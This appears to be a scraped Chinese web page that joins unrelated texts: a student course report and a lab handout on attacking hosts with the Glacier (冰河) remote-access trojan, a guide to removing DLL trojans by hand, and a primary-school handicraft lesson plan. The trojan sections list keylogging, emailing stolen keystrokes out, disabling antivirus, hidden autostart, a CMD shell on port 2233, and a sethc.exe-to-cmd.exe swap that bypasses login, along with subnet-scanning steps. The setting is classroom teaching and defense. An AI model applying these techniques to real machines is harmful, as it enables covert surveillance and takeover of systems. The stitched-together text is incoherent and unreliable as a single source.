网络安全课程设计报告 题目:冰河木马 专业物联网工程 学号 13002724 姓名赵鹏 指导教师孟超 日期 2015-10-22

评 分分 细 评分项优秀良好中等差遵守机房规章制度 实验原理分析与设计 课题功能实现情况 设计验收与答辩 课程设计报告书 写 简 短 评 语 教师签名: 年月日评 分 等 级 备 注

一、实验目的 (1)构建一个安装冰河木马服务器端程序的环境,利用客服端对服务器进行入侵或攻击; (2)利用网络安全工具或设备对入侵与攻击进行检测 二、实验要求 键盘记录, 定时把邮件内容成功发送到某邮箱中, 关闭某些防火墙和杀毒软件,开机自动隐藏运行, 开启2233端口取得CMD权限,实现对目标机器的文件操作, 开启3389端口,并替换系统目录下的sethc.exe为cmd.exe, 实现登录不要密码, 添加管理员等功能 三、实验过程 (1)攻击,入侵目标主机首先运行G_Client.exe,扫描主机。查找IP地址:在“起始域”编辑框中输入要查找的IP地址,例如欲搜索IP地址“10.100.122.1”至“10.100.122.255”网段的计算机,应将“起始域”设为“10.100.122.1”,将“起始地址”和“终止地址”分别设为“1”和“255”然后点“开始搜索”按钮,在右边列表框中显示检测到已经在网上的计算机的IP地址。选择可以入侵的主机。

(2)击键记录 选择目标主机后,点击命令控制台下击键记录,可以对目标主的键盘使用记录实现监控 (3)并定时把邮件内容成功发送到某邮箱中

(4)关闭防火墙和杀毒软件, (5)开机自动隐藏运行,

手工清除木马的几种方法

系统安全:剿清删不掉的DLL木马 DLL注入木马是目前网络上十分流行的木马形式,它就像是一个寄生虫,木马以DLL文件的形式,寄宿在某个重要的系统进程中,通过宿主来调用DLL文件,实现远程控制的功能。这样的木马嵌入到系统进程中可以穿越防火墙,更让人头疼的是,用杀毒软件进行查杀,杀软即使报警提示发现病毒,但是也无法杀掉木马病毒文件,因为木马DLL文件正被宿主调用而无法删除。下面我们把杀软放到一边,通过专用工具及其手工的方法来清除DLL木马。 一、清除思路 1、通过系统工具及其第三方工具找到木马的宿主进程,然后定位到木马DLL文件。 2、结束被木马注入的进程。 3、删除木马文件。 4、注册表相关项的清除。 二、清除方法 1、普通进程DLL注入木马的清除 有许多DLL木马是注入到“iexplore.exe”和“explorer.exe”这两个进程中的,对于注入这类普通进程的DLL木马是很好清除掉的。 如果DLL文件是注入到“iexplore.exe”进程中,此进程就是IE浏览进程,那么可以关掉所有IE窗口和相关程序,然后直接找到DLL文件进行删除就可以了。如果是注入到“explorer.exe”进程中,那么就略显麻烦一些,因为此进程是用于显示桌面和资源管理器的。当通过任务管理器结束掉“explorer.exe”进程时,桌面无法看到,此时桌面上所有图标消失掉,“我的电脑”、“网上邻居”等所有图标都不见了,也无法打开资源管理器找到木马文件进行删除了。怎么办呢? 这时候可以在任务管理器中点击菜单“文件”→“新任务运行”,打开创建新任务对话框,点击“浏览”挖通过浏览对话框就可以打开DLL文件所在的路径。然后选择“文件类型”为“所有文件”,即可显示并删除DLL了。(图1)

冰河木马的使用

入 侵 检 测 试 验 实验名称:_ 冰河木马的使用

1.实验目的 本次实验学习冰河木马远程控制软件的使用,通过实验可以了解木马和计算机病毒的区别,熟悉使用木马进行网络攻击的原理和方法。 2.实验原理 木马程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不刻意地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是善意的控制,因此通常不具有隐蔽性;木马则完全相反,木马要达到的是偷窃性的远程控制。 它是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。植入被种者电脑的是服务器部分,而黑客正是利用控制器进入运行了服务器的电脑。运行了木马程序的服务器以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障。木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。 随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。 3.实验环境 装有Windows 2000/XP系统的计算机,局域网或Internet,冰河木马软件(服务器和客户端)。 4. 实验步骤 (一)、解压冰河木马,得到两个文件,其中G_Server.exe为服务器端程序,放在被攻击的主机上,g_client.exe为客户端软件,用于操作目标主机:

手工制作教案范文

《手工》校本课程计划与教案授课教师:杨敏 授课对象:四年级学生 授课时间:每周五校本课程 手工方课程的开设是对课堂教学的补充和延伸,与课堂教学相比更具灵活性、可塑性,因而学生非常乐意参加。地方课程的开设,在于培养学生对美术的兴趣、爱好、增长知识、提高技能、丰富学生的课余文化生活,为今后培养美术人才起着积极推动的作用。现将本学期美术小组的活动安排制定如下: 一、活动目的 本学期开设的手工地方课程活动为一部分有特长爱好的学生提供一个展示个性才艺的机会和空间,使他们的一技之长得到充分的发挥和展示,以点带面,促进全校的美术活动。进一步了解美术的基本知识,提高学生的欣赏水平及创造能力。同时让学生在活动中体验创作的乐趣。 二、活动要求 1、组织学生按时参加活动,并保持室内清洁。 2、每周五下午第二节课开始活动,小组成员必须准时到达美术室。 3、美术小组成员应严格遵守纪律,不准在美术室大声喧哗,不准做与美术学习无关的事。 4、每次老师布置的作业,学生都应按时完成。 5、爱护美术教室内的设施和用品。 三、活动内容

1、以小组合作的形式进行平面剪贴和立体手工制作 2、卡纸和生活中的废旧物品均可作为创作材料 3、给学生自己创作作品的时间和空间。 4、欣赏优秀手工作品,开拓学生眼界。 5、及时用相机拍摄活动内容。(集体或个人) 四、定期举办美术比赛 举办美术展览,交流、回顾、总结学习成果,为同学们提供表现自己实力,增强自信心的舞台能起到意想不到的效果。教师要精心指导,严格把关。学生大胆构思,不拘一格,精心绘制,多出佳作,在校内展出以起到示范作用。 五、备注 附:教学进程和教案 博爱小学地方课程备课(填年度学期) 一、教学进程 有趣的吊饰 教学目标: 1、知识与技能:能表现物象的形态特征;运用剪、对折、粘贴制作吊饰;有目的的排列。 2、过程与方法: (1)在比较中,感受民间饰物造型、色彩、花纹特点; (2)在探索中学习吊饰的设计方法; (3)在“尝试运用”中掌握制作方法。 3、情感、态度、价值观:

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